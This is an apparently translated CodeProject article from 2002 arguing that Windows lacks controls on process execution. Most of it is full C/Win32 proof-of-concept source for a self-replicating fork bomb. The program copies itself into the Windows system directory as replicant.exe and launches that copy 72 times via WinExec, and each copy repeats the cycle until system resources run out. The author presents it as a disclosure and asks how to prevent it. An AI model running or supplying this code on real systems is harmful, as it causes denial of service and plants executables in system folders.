65.9K
CodeProject 正在变化。 阅读更多。
Home

为什么 Windows 应该严格控制 WinExec 函数

starIconstarIconstarIconstarIcon
emptyStarIcon
starIcon

4.56/5 (6投票s)

2002年6月27日

1分钟阅读

viewsIcon

116183

downloadIcon

594

简要描述,并附带概念验证代码,详细说明为什么Windows操作系统系列需要更精细的执行控制。

引言

Windows系列在操作系统全局层面上对进程执行的控制存在固有缺陷。 在最近的一个程序中发现了一个非常严重的错误后,我能够确定,在Windows中进入一个极端的多次复制状态是可能的,这类似于使用包含while循环的简单javascript在Internet Explorer 6和所有先前IE版本中执行的无限生成拒绝服务攻击。 然而,这使用了原生win32代码,使其在能力上 FAR 更加致命。 在分析阶段进行时钟记录时,此应用程序有潜力每秒生成自身72个副本。 当这与每个应用程序实例执行时,会快速消耗系统资源,生成72个更多副本的事实相结合。 我已包含完整的源代码作为概念验证。 我将代码保持未编译状态,以防止意外执行。 风险自负编译。 欢迎发表评论。 源代码如下。

#include "stdafx.h"

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
 	
	// get the current module name and store it
	// in a char variable for later usage using
        // MAX_PATH to avoid a buffer overflow if a
        // windows installation happens to be store
        // in a deep level path name

	LPSTR lpThisModule = new TCHAR[MAX_PATH];
	
	GetModuleFileName(NULL, lpThisModule, MAX_PATH);
	
	// get the windows system path and store it
	// in a char variable for later usage using
        // MAX_PATH to avoid a buffer overflow if a
        // windows installation happens to be store
        // in a deep level path name


	LPSTR lpSystemPath = new TCHAR[MAX_PATH];
	
	GetSystemDirectory(lpSystemPath, MAX_PATH);
	
	// create a variable to hold the name of the 
	// destination module so that we can use the
	// strcat function to get a valid path name 
	// out of it for the CopyFile() function

	char szReplicantName[16] = "\\replicant.exe";
	
	strcat(lpSystemPath, szReplicantName);

	// copy ourselves into the system directory
	// using lpThisModule and lpSystemPath for
	// our module and system path locations
	
	CopyFile(lpThisModule, lpSystemPath, FALSE);
	
	// time to run and repeat the whole process
	// of replication from within the replicant
	// that we're about to execute.  Optimizied
	// variable sizes help keep the the loading
	// time low, but the repeated execution can
	// cause a RAPID resources drain on all but
	// the most beefed up systems...5184+ copys
	// of a application all desperate to run at
	// the same  time will do that to you...
	
	// setting up two integers to control the
	// execution of the loop that will actually
	// handle the replication of our executable
	
	int WhileLoopController = 1;
	
	int WhileLoopIterator = 0;

	while(WhileLoopController == 1)
	
	{
		
		WinExec(lpSystemPath, 0);
		
		WhileLoopIterator++;

			// not that this matters much after the
			// ball starts rolling, but it's being
			// included for the purposes of writing
			// complete and correct code as all loops
			// should contain some method to break out

			if( WhileLoopIterator >= 72 )
	
			{
				
				// setting the loop controller to 0
				// so we break from the while loop
				
				WhileLoopController = 0;

			}
	
	}

	return 0;

}
微软操作系统开发团队没有添加任何我所知的设施来防止这种快速生成条件发生,这让我觉得非常荒谬。 我们被期望为一款可靠的操作系统支付一大笔钱,但我们却得到了这个结果。 如果任何人对防止这种情况的方法有任何见解,我很乐意听取。
© . All rights reserved.